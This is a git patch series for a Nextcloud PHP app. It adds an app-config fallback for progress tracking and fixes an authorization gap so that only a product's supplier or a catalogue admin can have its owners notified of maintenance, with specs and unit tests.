* @param IUserSession $userSession The signed-in user, the default owner of a new operation * @param LoggerInterface $logger The logger interface + * @param IConfig $config System config, which names the distributed cache class + * @param IAppConfig $appConfig App config, the store when no shared cache is configured * * @spec openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md#requirement-req-ssp-001-progress-of-a-long-operation-shall-be-readable-from-any-request-and-only-by-users-allowed-to-read-it */ @@ -110,8 +110,10 @@ public function __construct( ICacheFactory $cacheFactory, private readonly IUserSession $userSession, private readonly LoggerInterface $logger, + IConfig $config, + IAppConfig $appConfig, ) { - $this->store = $cacheFactory->createDistributed(prefix: 'stackiq_progress'); + $this->store = new ProgressStore(cacheFactory: $cacheFactory, config: $config, appConfig: $appConfig); }//end __construct() /** @@ -162,6 +164,7 @@ public function startOperation( 'statistics' => $options['statistics'] ?? [], ]; + $this->store->removeExpired(); $this->saveProgress(); $this->logger->info( @@ -390,7 +393,7 @@ public function failOperation(string $message): void { $this->saveProgress(); if ($this->progress['operation_id'] !== null) { - $this->store->remove(key: 'cancel_' . $this->progress['operation_id']); + $this->store->clearCancel(operationId: $this->progress['operation_id']); } $this->logger->error( @@ -416,7 +419,7 @@ public function failOperation(string $message): void { * @spec openspec/specs/archimate-import-progress/spec.md#requirement-req-aip-002-an-admin-shall-be-able-to-cancel-a-running-import */ public function setCancelRequested(string $operationId): void { - $this->store->set(key: 'cancel_' . $operationId, value: true, ttl: self::STORE_TTL); + $this->store->requestCancel(operationId: $operationId); }//end setCancelRequested() /** @@ -429,7 +432,7 @@ public function setCancelRequested(string $operationId): void { * @spec openspec/specs/archimate-import-progress/spec.md#requirement-req-aip-002-an-admin-shall-be-able-to-cancel-a-running-import */ public function isCancelRequested(string $operationId): bool { - return $this->store->get(key: 'cancel_' . $operationId) === true; + return $this->store->isCancelRequested(operationId: $operationId); }//end isCancelRequested() /** @@ -447,7 +450,7 @@ public function cancelOperation(): void { $this->saveProgress(); if ($this->progress['operation_id'] !== null) { - $this->store->remove(key: 'cancel_' . $this->progress['operation_id']); + $this->store->clearCancel(operationId: $this->progress['operation_id']); } }//end cancelOperation() @@ -463,12 +466,7 @@ public function cancelOperation(): void { public function getProgress(?string $operationId = null): ?array { if ($operationId !== null && $operationId !== $this->progress['operation_id']) { // Load an operation another request or a background job wrote. - $storedProgress = $this->store->get(key: 'progress_' . $operationId); - if (is_array($storedProgress) === true) { - return $storedProgress; - } - - return null; + return $this->store->getProgress(operationId: $operationId); } if ($this->progress['operation_id'] !== null) { @@ -537,25 +535,22 @@ private function calculateEstimatedCompletion(): ?int { /** * Save progress to the shared store. * - * Each write renews the entry for STORE_TTL seconds. + * Each write renews the entry for ProgressStore::STORE_TTL seconds. * * @return void */ private function saveProgress(): void { if ($this->progress['operation_id'] !== null) { - $this->store->set( - key: 'progress_' . $this->progress['operation_id'], - value: $this->progress, - ttl: self::STORE_TTL - ); + $this->store->setProgress(operationId: $this->progress['operation_id'], progress: $this->progress); } }//end saveProgress() /** * Clean up old progress entries. * - * Nothing to do: every entry in the shared store expires STORE_TTL seconds - * after its last write. + * Nothing to do: every entry in the shared store expires + * ProgressStore::STORE_TTL seconds after its last write, and app config + * entries are removed when the next operation starts. * * @param int $maxAge Maximum age in seconds (default: 1 hour) * diff --git a/openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md b/openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md index 8fa91cadb..f98eac021 100644 --- a/openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md +++ b/openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md @@ -13,7 +13,7 @@ A functional administrator or a Nextcloud admin sees whether the organisation an ### Requirement: REQ-SSP-001 Progress of a long operation SHALL be readable from any request, and only by users allowed to read it -`ProgressTracker` SHALL keep progress in Nextcloud's distributed cache, so a background job can write it and another request can read it. `GET /api/progress/{operationId}` SHALL answer the operation's owner and Nextcloud admins, and for an `organisation_sync` operation also members of the functional administrator group. Anyone else SHALL get 404, the same answer as for an unknown id. +`ProgressTracker` SHALL keep progress in Nextcloud's distributed cache, so a background job can write it and another request can read it. When that cache is not shared by every server and the CLI (no memcache, or APCu alone), it SHALL keep progress and the cancel request in the app config instead. `GET /api/progress/{operationId}` SHALL answer the operation's owner and Nextcloud admins, and for an `organisation_sync` operation also members of the functional administrator group. Anyone else SHALL get 404, the same answer as for an unknown id. #### Scenario: A running sync started by cron is readable @e2e exclude Needs a cron run in the middle of a request; tests/Unit/Service/ProgressTrackerTest.php asserts a second tracker instance on the same cache reads the first one's progress, and tests/Unit/Controller/SettingsControllerProgressTest.php asserts the read rule. @@ -22,6 +22,13 @@ A functional administrator or a Nextcloud admin sees whether the organisation an - **WHEN** a functional administrator's page calls `GET /api/progress/{operationId}` for it - **THEN** stackiq SHALL answer 200 with the phase, the processed and total items and the percentage +#### Scenario: Progress and cancel work without a shared cache +@e2e exclude Depends on the instance's memcache configuration; tests/Unit/Service/ProgressTrackerTest.php asserts that without a memcache, and with APCu alone, a second request reads the progress and the running request sees the cancel. + +- **GIVEN** an instance with no memcache configured +- **WHEN** an admin starts a CMDB import and the page calls `GET /api/progress/{operationId}`, then cancels it +- **THEN** stackiq SHALL answer 200 with the progress, and the import SHALL stop as cancelled + #### Scenario: Another user cannot read an operation by guessing its id @e2e exclude An authorisation rule; tests/Unit/Controller/SettingsControllerProgressTest.php asserts 404 for a user who is not the owner, not an admin and not allowed by the sync policy. diff --git a/tests/Unit/Service/ArchiMateImportProgressTest.php b/tests/Unit/Service/ArchiMateImportProgressTest.php index 5257ddb6b..458881ac4 100644 --- a/tests/Unit/Service/ArchiMateImportProgressTest.php +++ b/tests/Unit/Service/ArchiMateImportProgressTest.php @@ -22,8 +22,10 @@ use OCA\OpenRegister\Contract\ObjectServiceInterface; use OCA\Stackiq\Service\ArchiMateImportService; use OCA\Stackiq\Service\ProgressTracker; +use OCP\IAppConfig; use OCP\ICache; use OCP\ICacheFactory; +use OCP\IConfig; use OCP\IUser; use OCP\IUserSession; use PHPUnit\Framework\TestCase; @@ -70,10 +72,14 @@ function ($key): bool { $userSession = $this->createMock(IUserSession::class); $userSession->method('getUser')->willReturn($user); + $factory->method('isAvailable')->willReturn(true); + return new ProgressTracker( cacheFactory: $factory, userSession: $userSession, - logger: $this->createMock(LoggerInterface::class) + logger: $this->createMock(LoggerInterface::class), + config: $this->createConfiguredMock(IConfig::class, ['getSystemValueString' => '\\OC\\Memcache\\Redis']), + appConfig: $this->createMock(IAppConfig::class) ); }//end tracker() diff --git a/tests/Unit/Service/ArchiMateServiceCancelTest.php b/tests/Unit/Service/ArchiMateServiceCancelTest.php index 24d58b9d6..77578d427 100644 --- a/tests/Unit/Service/ArchiMateServiceCancelTest.php +++ b/tests/Unit/Service/ArchiMateServiceCancelTest.php @@ -25,6 +25,7 @@ use OCP\IAppConfig; use OCP\ICache; use OCP\ICacheFactory; +use OCP\IConfig; use OCP\IUserSession; use PHPUnit\Framework\TestCase; use Psr\Container\ContainerInterface; @@ -59,10 +60,14 @@ function ($key, $value, $ttl = 0): bool { $factory = $this->createMock(ICacheFactory::class); $factory->method('createDistributed')->willReturn($cache); + $factory->method('isAvailable')->willReturn(true); + return new ProgressTracker( cacheFactory: $factory, userSession: $this->createMock(IUserSession::class), - logger: $this->createMock(LoggerInterface::class) + logger: $this->createMock(LoggerInterface::class), + config: $this->createConfiguredMock(IConfig::class, ['getSystemValueString' => '\\OC\\Memcache\\Redis']), + appConfig: $this->createMock(IAppConfig::class) ); }//end tracker() diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index b3a914f37..b605977e6 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -41,8 +41,10 @@ use OCA\Stackiq\Service\SettingsService; use OCA\Stackiq\Service\StackiqContactSyncService; use OCA\Stackiq\Tests\Unit\Support\CmdbTestSupport; +use OCP\IAppConfig; use OCP\ICache; use OCP\ICacheFactory; +use OCP\IConfig; use OCP\IL10N; use OCP\IUserSession; use PHPUnit\Framework\TestCase; @@ -325,7 +327,15 @@ function ($key): bool { $factory = $this->createMock(ICacheFactory::class); $factory->method('createDistributed')->willReturn($cache); - return new ProgressTracker(cacheFactory: $factory, userSession: $this->createMock(IUserSession::class), logger: $this->logger()); + $factory->method('isAvailable')->willReturn(true); + + return new ProgressTracker( + cacheFactory: $factory, + userSession: $this->createMock(IUserSession::class), + logger: $this->logger(), + config: $this->createConfiguredMock(IConfig::class, ['getSystemValueString' => '\\OC\\Memcache\\Redis']), + appConfig: $this->createMock(IAppConfig::class) + ); }//end progressTracker() /** diff --git a/tests/Unit/Service/ProgressTrackerCancelTest.php b/tests/Unit/Service/ProgressTrackerCancelTest.php index 2ab3cc610..a47e5752d 100644 --- a/tests/Unit/Service/ProgressTrackerCancelTest.php +++ b/tests/Unit/Service/ProgressTrackerCancelTest.php @@ -20,8 +20,10 @@ namespace OCA\Stackiq\Tests\Unit\Service; use OCA\Stackiq\Service\ProgressTracker; +use OCP\IAppConfig; use OCP\ICache; use OCP\ICacheFactory; +use OCP\IConfig; use OCP\IUser; use OCP\IUserSession; use PHPUnit\Framework\TestCase; @@ -67,10 +69,14 @@ function ($key): bool { $userSession = $this->createMock(IUserSession::class); $userSession->method('getUser')->willReturn($user); + $factory->method('isAvailable')->willReturn(true); + return new ProgressTracker( cacheFactory: $factory, userSession: $userSession, - logger: $this->createMock(LoggerInterface::class) + logger: $this->createMock(LoggerInterface::class), + config: $this->createConfiguredMock(IConfig::class, ['getSystemValueString' => '\\OC\\Memcache\\Redis']), + appConfig: $this->createMock(IAppConfig::class) ); }//end tracker() diff --git a/tests/Unit/Service/ProgressTrackerTest.php b/tests/Unit/Service/ProgressTrackerTest.php index f97c0fa69..45f989e87 100644 --- a/tests/Unit/Service/ProgressTrackerTest.php +++ b/tests/Unit/Service/ProgressTrackerTest.php @@ -26,8 +26,10 @@ namespace OCA\Stackiq\Tests\Unit\Service; use OCA\Stackiq\Service\ProgressTracker; +use OCP\IAppConfig; use OCP\ICache; use OCP\ICacheFactory; +use OCP\IConfig; use OCP\ISession; use OCP\IUser; use OCP\IUserSession; @@ -60,6 +62,34 @@ class ProgressTrackerTest extends TestCase { */ private ?int $lastTtl = null; + /** + * The app config table every request shares, as a plain array. + * + * @var array> + */ + private array $appConfigRows = []; + + /** + * The number of app config writes. + * + * @var int + */ + private int $appConfigWrites = 0; + + /** + * The number of times a request dropped its app config cache. + * + * @var int + */ + private int $appConfigCacheClears = 0; + + /** + * Whether a tracker asked the factory for the distributed cache. + * + * @var bool + */ + private bool $distributedCacheUsed = false; + /** * Build the tracker one request would get. * @@ -68,10 +98,11 @@ class ProgressTrackerTest extends TestCase { * distributed cache factory all requests share. * * @param string|null $uid The signed-in user of this request, or null for cron. + * @param string|null $distributedCache The `memcache.distributed` class, or null when no memcache is configured. * * @return ProgressTracker The tracker of this request. */ - private function trackerForRequest(?string $uid): ProgressTracker { + private function trackerForRequest(?string $uid, ?string $distributedCache = '\\OC\\Memcache\\Redis'): ProgressTracker { $sessionStore = []; $session = $this->createMock(ISession::class); $session->method('get')->willReturnCallback( @@ -113,13 +144,26 @@ function ($key): bool { ); $cacheFactory = $this->createMock(ICacheFactory::class); - $cacheFactory->method('createDistributed')->willReturn($cache); + $cacheFactory->method('isAvailable')->willReturn($distributedCache !== null); + $cacheFactory->method('createDistributed')->willReturnCallback( + function () use ($cache): ICache { + $this->distributedCacheUsed = true; + return $cache; + } + ); + + $config = $this->createMock(IConfig::class); + $config->method('getSystemValueString')->willReturnCallback( + static fn (string $key, string $default = ''): string => ($key === 'memcache.distributed' ? ($distributedCache ?? '') : $default) + ); $available = [ ISession::class => $session, IUserSession::class => $userSession, ICacheFactory::class => $cacheFactory, LoggerInterface::class => $this->createMock(LoggerInterface::class), + IConfig::class => $config, + IAppConfig::class => $this->appConfigForRequest(), ]; $args = []; @@ -133,6 +177,63 @@ function ($key): bool { return new ProgressTracker(...$args); }//end trackerForRequest() + /** + * The app config of one request: its own cache in front of the shared table. + * + * A value another request wrote is seen only after this request dropped its cache. + * + * @return IAppConfig The app config double. + */ + private function appConfigForRequest(): IAppConfig { + $cached = null; + $load = function () use (&$cached): array { + if ($cached === null) { + $cached = $this->appConfigRows; + } + + return $cached; + }; + + $appConfig = $this->createMock(IAppConfig::class); + $appConfig->method('clearCache')->willReturnCallback( + function () use (&$cached): void { + $cached = null; + $this->appConfigCacheClears++; + } + ); + $appConfig->method('getValueArray')->willReturnCallback( + static fn (string $app, string $key, array $default = []): array => ($load()[$app . '/' . $key] ?? $default) + ); + $appConfig->method('setValueArray')->willReturnCallback( + function (string $app, string $key, array $value) use (&$cached): bool { + $this->appConfigRows[$app . '/' . $key] = $value; + $cached = $this->appConfigRows; + $this->appConfigWrites++; + return true; + } + ); + $appConfig->method('deleteKey')->willReturnCallback( + function (string $app, string $key) use (&$cached): void { + unset($this->appConfigRows[$app . '/' . $key]); + $cached = $this->appConfigRows; + } + ); + $appConfig->method('searchKeys')->willReturnCallback( + static function (string $app, string $prefix = '') use ($load): array { + $keys = []; + foreach (array_keys($load()) as $row) { + if (str_starts_with($row, $app . '/' . $prefix) === true) { + $keys[] = substr($row, strlen($app) + 1); + } + } + + return $keys; + } + ); + + return $appConfig; + }//end appConfigForRequest() + /** * Progress written in one request is readable from another request, for * example an admin in a second login. @@ -228,4 +329,103 @@ public function testAnUnknownOperationIsNull(): void { $this->assertNull($this->trackerForRequest('admin')->getProgress('org_merge_unknown')); }//end testAnUnknownOperationIsNull() + /** + * Without any memcache, progress and cancel go through the app config and + * still reach another request. + * + * @return void + */ + public function testWithoutAMemcacheProgressAndCancelReachAnotherRequest(): void { + $writer = $this->trackerForRequest('admin', null); + $operationId = $writer->startOperation(operationType: 'cmdb_import', options: ['total_items' => 3], operationId: 'cmdb-' . str_repeat('a', 64)); + $writer->setPhase('processing_elements'); + + $reader = $this->trackerForRequest('admin', null); + $progress = $reader->getProgress($operationId); + + $this->assertFalse($this->distributedCacheUsed, 'a cache that keeps nothing is not used'); + $this->assertNotNull($progress, 'a second request must read the running operation'); + $this->assertSame('processing_elements', $progress['phase']); + + $reader->setCancelRequested($operationId); + $this->assertTrue($writer->isCancelRequested($operationId), 'the running request sees a cancel another request asked for'); + + foreach (array_keys($this->appConfigRows) as $row) { + $this->assertLessThanOrEqual(64, strlen(substr($row, strlen('stackiq/'))), 'an app config key holds at most 64 characters'); + } + }//end testWithoutAMemcacheProgressAndCancelReachAnotherRequest() + + /** + * APCu is kept per server and per process, so it does not carry progress either. + * + * @return void + */ + public function testApcuAloneIsNotTrustedAsASharedCache(): void { + $writer = $this->trackerForRequest('admin', '\\OC\\Memcache\\APCu'); + $operationId = $writer->startOperation(operationType: 'archimate_import'); + + $this->assertFalse($this->distributedCacheUsed); + $this->assertSame([], $this->sharedCache); + $this->assertNotNull($this->trackerForRequest('admin', '\\OC\\Memcache\\APCu')->getProgress($operationId)); + }//end testApcuAloneIsNotTrustedAsASharedCache() + + /** + * A reader drops its own config cache before it reads, so a snapshot + * written after the reader's first read is still seen. + * + * @return void + */ + public function testAReaderSeesALaterWriteInTheAppConfig(): void { + $writer = $this->trackerForRequest('admin', null); + $operationId = $writer->startOperation(operationType: 'archimate_import'); + + $reader = $this->trackerForRequest('admin', null); + $this->assertSame('running', $reader->getProgress($operationId)['status']); + + $writer->completeOperation(); + + $this->assertSame('completed', $reader->getProgress($operationId)['status']); + $this->assertGreaterThan(0, $this->appConfigCacheClears); + }//end testAReaderSeesALaterWriteInTheAppConfig() + + /** + * A running operation writes the app config at most once a second in one + * phase, and its final state is always written. + * + * @return void + */ + public function testAppConfigWritesOfARunningOperationAreSpacedOut(): void { + $tracker = $this->trackerForRequest('admin', null); + $operationId = $tracker->startOperation(operationType: 'archimate_import', options: ['total_items' => 500]); + $writesAfterStart = $this->appConfigWrites; + for ($i = 0; $i < 500; $i++) { + $tracker->incrementProgress(); + } + + $this->assertLessThanOrEqual($writesAfterStart + 2, $this->appConfigWrites, '500 rows are not 500 writes'); + + $tracker->completeOperation(); + + $progress = $this->trackerForRequest('admin', null)->getProgress($operationId); + $this->assertSame('completed', $progress['status']); + $this->assertSame(500, $progress['processed_items']); + }//end testAppConfigWritesOfARunningOperationAreSpacedOut() + + /** + * App config entries whose time is up are removed when the next operation starts. + * + * @return void + */ + public function testExpiredAppConfigEntriesAreRemovedWhenAnOperationStarts(): void { + $this->appConfigRows['stackiq/op_progress_old'] = ['expires' => time() - 1, 'value' => ['status' => 'running']]; + $this->appConfigRows['stackiq/op_cancel_old'] = ['expires' => time() - 1, 'value' => true]; + $this->appConfigRows['stackiq/other_setting'] = ['kept' => true]; + + $this->trackerForRequest('admin', null)->startOperation(operationType: 'archimate_import'); + + $this->assertArrayNotHasKey('stackiq/op_progress_old', $this->appConfigRows); + $this->assertArrayNotHasKey('stackiq/op_cancel_old', $this->appConfigRows); + $this->assertArrayHasKey('stackiq/other_setting', $this->appConfigRows); + }//end testExpiredAppConfigEntriesAreRemovedWhenAnOperationStarts() + }//end class From 3e96e8779d7f38551be13e607505c59d03fecdf4 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 13:06:10 +0200 Subject: [PATCH 139/176] fix(maintenance): only a product's supplier or a catalogue admin reaches its owners Any aanbod-beheerder could create a maintenance window on any product and have its owners notified, and the window's organisation could write notifyUserIds and recipientsResolvedAt itself, which fires maintenance-announced to user ids it chose. The owner resolution job now refuses a window unless its organisation is the product's provider or owns the product, or a Nextcloud or catalogue admin created it. A register fragment limits writes of notifyUserIds and recipientsResolvedAt to software-catalog-admins (maintenanceWindow 0.1.1); the job writes them without RBAC. Co-Authored-By: Claude Opus 5.5 (1M context) --- lib/Service/MaintenanceAnnouncerCheck.php | 128 ++++++++++++++++++ lib/Service/MaintenanceRecipientService.php | 14 ++ .../maintenance-recipient-rules.json | 26 ++++ .../maintenance-and-supplier-roadmap/spec.md | 9 +- .../MaintenanceRecipientsListenerTest.php | 123 +++++++++++++++-- .../MaintenanceRecipientRulesTest.php | 85 ++++++++++++ 6 files changed, 376 insertions(+), 9 deletions(-) create mode 100644 lib/Service/MaintenanceAnnouncerCheck.php create mode 100644 lib/Settings/register.d/maintenance-recipient-rules.json create mode 100644 tests/Unit/Settings/MaintenanceRecipientRulesTest.php diff --git a/lib/Service/MaintenanceAnnouncerCheck.php b/lib/Service/MaintenanceAnnouncerCheck.php new file mode 100644 index 000000000..668e5ec35 --- /dev/null +++ b/lib/Service/MaintenanceAnnouncerCheck.php @@ -0,0 +1,128 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service; + +use OCA\OpenRegister\Contract\ObjectEntityInterface; +use OCA\OpenRegister\Contract\ObjectServiceInterface; +use OCP\IGroupManager; +use Psr\Log\LoggerInterface; + +/** + * Whether a maintenance window comes from someone allowed to reach the product's owners. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ +class MaintenanceAnnouncerCheck { + + /** + * The groups whose members may announce maintenance on any product. + * + * @var array + */ + private const CATALOG_ADMIN_GROUPS = ['admin', 'software-catalog-admins']; + + /** + * Constructor. + * + * @param SettingsService $settingsService The module register and schema lookups. + * @param IGroupManager $groupManager The group manager, for the catalogue's administrators. + * @param LoggerInterface $logger The logger. + */ + public function __construct( + private readonly SettingsService $settingsService, + private readonly IGroupManager $groupManager, + private readonly LoggerInterface $logger, + ) { + }//end __construct() + + /** + * Whether a window may notify the owners of its product. + * + * Yes when a catalogue administrator created it, or when the organisation + * that owns the window is the product's supplier (`provider`) or owns the + * product. A product that cannot be read refuses. + * + * @param ObjectServiceInterface $objectService OpenRegister's object service. + * @param ObjectEntityInterface $window The maintenance window. + * @param string $moduleId The product's id. + * + * @return boolean True when the owners may be notified. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + public function mayAnnounce(ObjectServiceInterface $objectService, ObjectEntityInterface $window, string $moduleId): bool { + if ($this->isCatalogAdmin(uid: (string) $window->getOwner()) === true) { + return true; + } + + $organisation = (string) $window->getOrganisation(); + if ($organisation === '') { + return false; + } + + try { + $module = $objectService->find( + id: $moduleId, + register: $this->settingsService->getRegisterIdForObjectType('module'), + schema: $this->settingsService->getSchemaIdForObjectType('module'), + _rbac: false, + _multitenancy: false + ); + } catch (\Throwable $e) { + $this->logger->error('MaintenanceAnnouncerCheck: could not read the product', ['module' => $moduleId, 'error' => $e->getMessage()]); + return false; + } + + if ($module === null) { + return false; + } + + $provider = ($module->getObject()['provider'] ?? null); + if (is_array($provider) === true) { + $provider = ($provider['id'] ?? ($provider['uuid'] ?? null)); + } + + return $organisation === $provider || $organisation === (string) $module->getOrganisation(); + }//end mayAnnounce() + + /** + * Whether a user is a Nextcloud or catalogue administrator. + * + * @param string $uid The user id, or an empty string for none. + * + * @return boolean True for a member of an administrator group. + */ + private function isCatalogAdmin(string $uid): bool { + if ($uid === '') { + return false; + } + + foreach (self::CATALOG_ADMIN_GROUPS as $group) { + if ($this->groupManager->isInGroup($uid, $group) === true) { + return true; + } + } + + return false; + }//end isCatalogAdmin() +}//end class diff --git a/lib/Service/MaintenanceRecipientService.php b/lib/Service/MaintenanceRecipientService.php index 7006e8820..32cab0dc4 100644 --- a/lib/Service/MaintenanceRecipientService.php +++ b/lib/Service/MaintenanceRecipientService.php @@ -59,6 +59,7 @@ class MaintenanceRecipientService { * @param IUserManager $userManager The Nextcloud user manager. * @param ContainerInterface $container The DI container, for OpenRegister's ObjectService. * @param LoggerInterface $logger The logger. + * @param MaintenanceAnnouncerCheck $announcers Who may have a product's owners notified. */ public function __construct( private readonly SettingsService $settingsService, @@ -66,6 +67,7 @@ public function __construct( private readonly IUserManager $userManager, private readonly ContainerInterface $container, private readonly LoggerInterface $logger, + private readonly MaintenanceAnnouncerCheck $announcers, ) { }//end __construct() @@ -125,6 +127,10 @@ public function recordRecipientsFor(string $uuid, string|int|null $register, str * already carries a resolved time is left alone, so the write this method * makes cannot start it again. * + * Only the supplier of the product, or a catalogue administrator, may have + * its owners notified: a window from any other organisation is refused and + * nothing is written, so a supplier cannot reach a competitor's customers. + * * @param ObjectEntityInterface $window The maintenance window. * @param DateTimeImmutable|null $now The moment of resolution (defaults to now). * @@ -144,6 +150,14 @@ public function recordRecipients(ObjectEntityInterface $window, ?DateTimeImmutab return null; } + if ($this->announcers->mayAnnounce(objectService: $objectService, window: $window, moduleId: $moduleId) === false) { + $this->logger->warning( + 'MaintenanceRecipientService: the window is not from the supplier of the product; no owners are notified', + ['uuid' => $window->getUuid(), 'module' => $moduleId, 'organisation' => $window->getOrganisation()] + ); + return null; + } + $userIds = $this->ownerUserIds(objectService: $objectService, moduleId: $moduleId); $data['notifyUserIds'] = $userIds; diff --git a/lib/Settings/register.d/maintenance-recipient-rules.json b/lib/Settings/register.d/maintenance-recipient-rules.json new file mode 100644 index 000000000..d2f923da6 --- /dev/null +++ b/lib/Settings/register.d/maintenance-recipient-rules.json @@ -0,0 +1,26 @@ +{ + "$comment": "maintenance-recipient-rules: the maintenance-announced rule fires when recipientsResolvedAt changes and notifies the user ids in notifyUserIds. Both fields are written by MaintenanceRecipientsJob (without RBAC), so over the API only the catalogue's system administrators may write them; a supplier that writes either one is refused. Who may READ notifyUserIds is tracked in stackiq#1216.", + "components": { + "schemas": { + "maintenanceWindow": { + "version": "0.1.1", + "properties": { + "notifyUserIds": { + "authorization": { + "update": [ + "software-catalog-admins" + ] + } + }, + "recipientsResolvedAt": { + "authorization": { + "update": [ + "software-catalog-admins" + ] + } + } + } + } + } + } +} diff --git a/openspec/specs/maintenance-and-supplier-roadmap/spec.md b/openspec/specs/maintenance-and-supplier-roadmap/spec.md index b1ce96557..0e43e01b6 100644 --- a/openspec/specs/maintenance-and-supplier-roadmap/spec.md +++ b/openspec/specs/maintenance-and-supplier-roadmap/spec.md @@ -29,7 +29,7 @@ The product page SHALL list its maintenance windows, and the dashboard SHALL lis ### Requirement: REQ-MSR-003 The owners of every usage are notified -When a supplier announces a window, stackiq SHALL notify the business and technical owners of every usage of the product, and SHALL remind them a day before the window starts while it is still planned. +When a supplier announces a window, stackiq SHALL notify the business and technical owners of every usage of the product, and SHALL remind them a day before the window starts while it is still planned. Only the product's own supplier or a catalogue administrator SHALL reach those owners. #### Scenario: Owners get the announcement @e2e exclude Delivered by OpenRegister's notification engine; tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php asserts the resolved owners and tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php the rules. @@ -38,6 +38,13 @@ When a supplier announces a window, stackiq SHALL notify the business and techni - **WHEN** the supplier announces a window on X - **THEN** both business owners receive a Nextcloud notification naming X and the window +#### Scenario: Another supplier cannot reach the owners +@e2e exclude Authorisation in the background job and the register; tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php asserts the refusal and tests/Unit/Settings/MaintenanceRecipientRulesTest.php the field rules. + +- **GIVEN** product X supplied by organisation A, and a supplier of organisation B +- **WHEN** the supplier of B announces a window on X, or writes the owners to notify on a window itself +- **THEN** no owner of a usage of X receives a notification + ### Requirement: REQ-MSR-004 A product page shows the supplier's roadmap The product page SHALL show the supplier's roadmap statement and the product's versions on a timeline, planned versions first, and the Module versions list SHALL filter on planned releases. A supplier SHALL release a planned version from its page through the version lifecycle. diff --git a/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php b/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php index c4e205b43..0c2cf1192 100644 --- a/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php +++ b/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php @@ -26,12 +26,14 @@ use OCA\OpenRegister\Event\ObjectCreatedEvent; use OCA\Stackiq\BackgroundJob\MaintenanceRecipientsJob; use OCA\Stackiq\EventListener\MaintenanceRecipientsListener; +use OCA\Stackiq\Service\MaintenanceAnnouncerCheck; use OCA\Stackiq\Service\MaintenanceRecipientService; use OCA\Stackiq\Service\SettingsService; use OCA\Stackiq\Service\StackiqContactSyncService; use OCP\AppFramework\Utility\ITimeFactory; use OCP\BackgroundJob\IJobList; use OCP\EventDispatcher\Event; +use OCP\IGroupManager; use OCP\IUser; use OCP\IUserManager; use PHPUnit\Framework\TestCase; @@ -45,7 +47,26 @@ class MaintenanceRecipientsListenerTest extends TestCase { private const REGISTER = 7; - private const SCHEMAS = ['maintenanceWindow' => 40, 'usage' => 41, 'contactPerson' => 42]; + private const SCHEMAS = ['maintenanceWindow' => 40, 'usage' => 41, 'contactPerson' => 42, 'module' => 43]; + + /** + * The organisation that supplies product X. + */ + private const SUPPLIER = 'org-supplier'; + + /** + * The users in the catalogue's administrator group. + * + * @var array + */ + private array $catalogAdmins = ['beheer']; + + /** + * The warnings the service logged. + * + * @var array + */ + private array $warnings = []; /** * The object service double, with every save it received. @@ -92,18 +113,22 @@ class MaintenanceRecipientsListenerTest extends TestCase { /** * An object entity double. * - * @param string $uuid The id. - * @param int $schema The schema id. - * @param array $data The object data. + * @param string $uuid The id. + * @param int $schema The schema id. + * @param array $data The object data. + * @param string|null $organisation The organisation that owns it. + * @param string|null $owner The user who created it. * * @return ObjectEntity The double. */ - private function entity(string $uuid, int $schema, array $data): ObjectEntity { + private function entity(string $uuid, int $schema, array $data, ?string $organisation = null, ?string $owner = null): ObjectEntity { $entity = $this->createMock(ObjectEntity::class); $entity->method('getUuid')->willReturn($uuid); $entity->method('getSchema')->willReturn((string) $schema); $entity->method('getRegister')->willReturn((string) self::REGISTER); $entity->method('getObject')->willReturn($data); + $entity->method('getOrganisation')->willReturn($organisation); + $entity->method('getOwner')->willReturn($owner); return $entity; }//end entity() @@ -173,6 +198,7 @@ function (string $email): array { } ); + $this->windows['x'] = $this->entity('x', self::SCHEMAS['module'], ['name' => 'Product X', 'provider' => ['id' => self::SUPPLIER]]); $this->objectService->method('find')->willReturnCallback(fn (int|string $id): ?ObjectEntity => $this->windows[$id] ?? null); $this->jobList = $this->createMock(IJobList::class); @@ -182,8 +208,18 @@ function (string $job, mixed $argument): void { } ); - $logger = $this->createMock(LoggerInterface::class); - $this->service = new MaintenanceRecipientService($settings, $contacts, $users, $container, $logger); + $groups = $this->createMock(IGroupManager::class); + $groups->method('isInGroup')->willReturnCallback( + fn (string $uid, string $group): bool => $group === 'software-catalog-admins' && in_array($uid, $this->catalogAdmins, true) + ); + + $logger = $this->createMock(LoggerInterface::class); + $logger->method('warning')->willReturnCallback( + function (string $message): void { + $this->warnings[] = $message; + } + ); + $this->service = new MaintenanceRecipientService($settings, $contacts, $users, $container, $logger, new MaintenanceAnnouncerCheck($settings, $groups, $logger)); return new MaintenanceRecipientsListener($this->service, $this->jobList, $logger); }//end listener() @@ -208,7 +244,7 @@ private function runQueuedJobs(): void { */ public function testTheOwnersOfEveryUsageAreRecorded(): void { $listener = $this->listener(); - $window = $this->entity('w1', self::SCHEMAS['maintenanceWindow'], ['module' => ['id' => 'x'], 'title' => 'Database upgrade', 'status' => 'planned']); + $window = $this->entity('w1', self::SCHEMAS['maintenanceWindow'], ['module' => ['id' => 'x'], 'title' => 'Database upgrade', 'status' => 'planned'], self::SUPPLIER, 'jan'); 